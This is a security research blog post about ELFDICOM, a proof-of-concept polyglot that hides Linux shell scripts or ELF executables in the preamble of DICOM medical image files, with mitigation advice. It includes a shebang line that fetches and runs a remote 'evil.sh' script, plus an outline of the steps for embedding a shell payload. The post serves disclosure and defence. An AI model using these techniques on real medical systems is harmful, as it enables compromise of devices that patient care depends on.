ELFDICOM: PoC Malware Polyglot Exploiting Linux-Based Medical Devices

A high severity vulnerability in DICOM, the healthcare industry’s standard file protocol for medical imaging, has remained exploitable years after its initial disclosure. The flaw enables attackers to embed malicious code within legitimate medical image files. While previous research demonstrated this vulnerability’s impact on Windows-based medical systems, Praetorian’s new proof of concept, ELFDICOM, extends the attack surface to Linux environments—threatening virtually every operating system used in healthcare today.

DICOM background

Digital Imaging and Communications in Medicine (DICOM) is the predominant file format for medical images, adopted globally for over 20 years in medical practices such as radiology, cardiology imaging, dentistry, and radiotherapy devices. The devices that process DICOM files are critical to patient diagnosis, treatment planning, specialist consultations, and medical research. DICOM serves as an industry standard to enable medical practitioners to exchange detailed patient information among healthcare professionals.

DICOM File Format Summary

A DICOM file consists of two primary sections: the File Header and the Data Set. The File Header contains the Preamble and Prefix. The Preamble has a reserved space of 128 bytes with no pre-determined structure, allowing applications to utilize it according to their specific needs—a design choice that promotes extensibility but also introduces security implications. The Prefix is the 4 bytes “DICM,” functioning as magic bytes used to identify the file’s format. The Data Set comprises multiple Data Elements that store file metadata or image data in a tag-value format. Each Data Element has a tag to identify its corresponding value. These tags can differentiate between metadata and image data values, and hundreds of other supported data types. The following is a visualization of the DICOM file format:

DICOM’s Preamble

The root of the DICOM vulnerability we’ll discuss for the rest of this post, lies here in the Preamble. Applications need to know the file format to determine if it is supported and how to parse or execute it. While most file formats use magic bytes at the beginning of a file to identify their format, DICOM’s specification allows 128 arbitrary bytes in the Preamble before its identifying “DICM” marker. This design decision—allowing arbitrary content at the start of the file—creates a serious security weakness that enables the creation of malicious polyglots.

Polyglot Background

What is a polyglot? In our computer-sciency context, a polyglot is a file that is simultaneously valid in multiple file formats. When the file is processed with a different interpreter, or loader, the file will be parsed and executed as that language and can exhibit distinct behaviors. For example, a single polyglot file might be valid C, PHP, and Bash code simultaneously. On a Linux system, the execution method determines which behavior manifests: ./polyglot executes the C version, php ./polyglot runs the PHP version, and bash ./polyglot executes the bash version. I didn’t actually make an example for this, the important part isn’t what this hypothetical polyglot program does, but the fact that a crafted file can have multiple behaviors when parsed with multiple language’s grammar. With this context, let’s explore the previous vulnerability disclosure.

PE-DICOM

This polyglot capability becomes particularly dangerous when paired with the DICOM file format. In 2019, Markel Picado Ortiz (d00rt) demonstrated an attack in Attacking Digital Imaging and Communication in Medicine (DICOM) file format standard. Ortiz crafted a polyglot consisting of a Windows PE executable and DICOM image to create a “PEDICOM” file. The Preamble was used to store the DOS header and stub, which pointed to a DICOM Data Element containing the PE header and code. The resulting PEDICOM file can be viewed in a traditional DICOM image viewer when opened with the “.dcm” extension, but if the malicious DICOM polyglot has a “.exe” extension, the embedded PE file will run on the Windows system. This vulnerability has been identified as CVE-2019-11687 and has a 7.8 CVSS 3 score.

Shebang-DICOM

D00rt’s research demonstrated that elaborate and robust Windows executable malware could be embedded within the DICOM file format. The arbitrary Preamble also enables less complex malicious files to execute on medical systems. For example, a shebang could be used on Linux systems for a shell script payload. A #!/bin/sh shebang would leave 119 characters to load and execute a remote script. Here’s an example of redirecting a locally hosted script to bash, which would enable an attacker to bypass that character limit:

bash
#!/bin/bash
bash <(curl -s http://127.0.0.1:8000/evil.sh)
exit

Adding this to the preamble of a DICOM file (bashdicom.dcm) with the DICOM extension and executable bit set will execute the remote evil.sh script.

This demonstrates the low-complexity, high-impact attack when DICOM devices are connected to local or external networks. Given that the maximum payload is 119 characters, the impact is limited when disconnected from a network. The next section discusses how I bypassed this restriction with a higher complexity attack.

ELF-DICOM

How do we get an unlimited payload size for offline targets? Splitting the problem into two smaller problems to determine viability: 

1. Where can we store data greater than 128 bytes while retaining the validity of a DICOM image file?
2. Is there a PE-like executable file that can execute with an offset payload?

The first point has been solved by d00rt’s research, within a metadata data element tag. The answer to the second point is ELF! (Not the movie).

The Executable and Linkable Format (ELF) is the “.exe files of Linux.” These are compiled binaries that can do pretty much anything—web browser, calculator, ransomware, music player, reverse shell, instant messenger, email client, data exfiltration malware, the sky’s the limit here.

Let’s show the example and then get into the details.

From an attacker’s point of view, the process is as follows:

1. Create an executable to be inserted into the DICOM file. In this case, I used some arm shell code from exploit-db to run it on my local VM.
2. Assemble the code into an object file, then statically load the object file into an executable.
3. Once we have a payload, we can embed it into the DICOM file using elfcom.py to programmatically create the polyglot.
4. Add the executable bit.
5. Run it to get back a shell!

In hindsight, I understand that getting a shell by calling it from a shell isn’t exactly an exciting PoC. The exciting part is that the elfcom.dcm file is still a polyglot, as seen in Figure E and Figure F.

Please do not hold your applause, thank you thank you. This elfcom.dcm file that just executed a shell is a valid DICOM file and can be opened in Linux-based DICOM viewers without errors. (Full disclosure: I’m not a medical doctor and I have no idea what this image is; it’s just an example file I found online. (If you are a medical doctor and are reading this post, good on you for staying cyber-aware, please let me know what this is an image of.))

Visualization

If you’re a visual person, here’s some diagrams, first we have the DICOM file format from Figure A.

And the ELF file layout:

To put these together, let’s imagine the ELF file being shoved into the existing DICOM file format. This works nicely since the ELF file format involves offsets to each section.

The bad news is that if we move the sections around, we must manually fix the offsets for the executable.

We mentioned the goal of having an unrestricted size payload allows for offline compromise, but I didn’t mention why this was a consideration. DICOM images are often shared between devices and across hospital systems. If patients transfer, or are referred to specialists, the patients can even provide the files themselves on removable media [1]. Once ingested into a system, these trusted image files have a high probability of being spread over the network, or cross air-gapped systems through external storage transfers (e.g., a USB thumb drive, CD, email, or other medium). Compared to the above shell scripting languages, the payload is entirely contained within the DICOM file and would not need to rely on a second stage pulled from a network location. This vector is a strong candidate for system-wide compromise, extending the impact from one localized machine to any device that is sent the file.

A major drawback to this attack lies with the required interaction of executing the file instead of directly opening the image in a DICOM viewing program.

Can this be fixed?

No.

DICOM’s file structure inherently allows arbitrary bytes at the beginning of the file, where Linux and most operating systems will look for magic bytes. DICOM viewers use the preamble bytes as a feature; removing the preamble would break established medical processes.

Can this be mitigated?

Yes.

If adopting a secure file format is not an option, which in this case is understandable, there are clear patterns for detecting these files and limiting their impact.

A mitigating control would be to implement a DICOM preamble whitelist. This would check a DICOM file’s preamble before it is imported into the system. This would allow known good patterns, such as “TIFF” magic bytes, or “\x00” null bytes, while files with the ELF magic bytes would be blocked.

With all vulnerabilities, many effective mitigation strategies exist and can be tailored directly to the environment. Some mitigations, such as removing the executable bit from DICOM files might prevent the example I demonstrated above, but it will not be effective in other scenarios. Please consult your security team or a third party such as Praetorian (shameless plug) to discuss what might work best in your environment!

Going Forward

These novel attacks are suitable for demonstrating the impact of a DICOM polyglot. Additional work on these attacks would only improve the payload. Praetorian’s primary goal is to prevent breaches before they occur through disclosure rather than contribute towards weaponizing this exploit.

By pushing to create and adopt more secure protocols, we can contribute towards increasing the overall security posture of critical industries. As more vulnerabilities are disclosed or hardware and algorithms render old protocols ineffective, they will be replaced with more secure ones. Designing systems to proactively ease transitions into secure protocols will lead to a more secure environment across the highly targeted medical device field.

References

1. Slomka PJ, Patton JA, Berman DS, Germano G. Automated quantitative analysis of myocardial perfusion SPECT. Cardiovasc Diagn Ther. 2016 Aug;6(4):330-345. PMCID: PMC5023527. Available from: https://pmc.ncbi.nlm.nih.gov/articles/PMC5023527/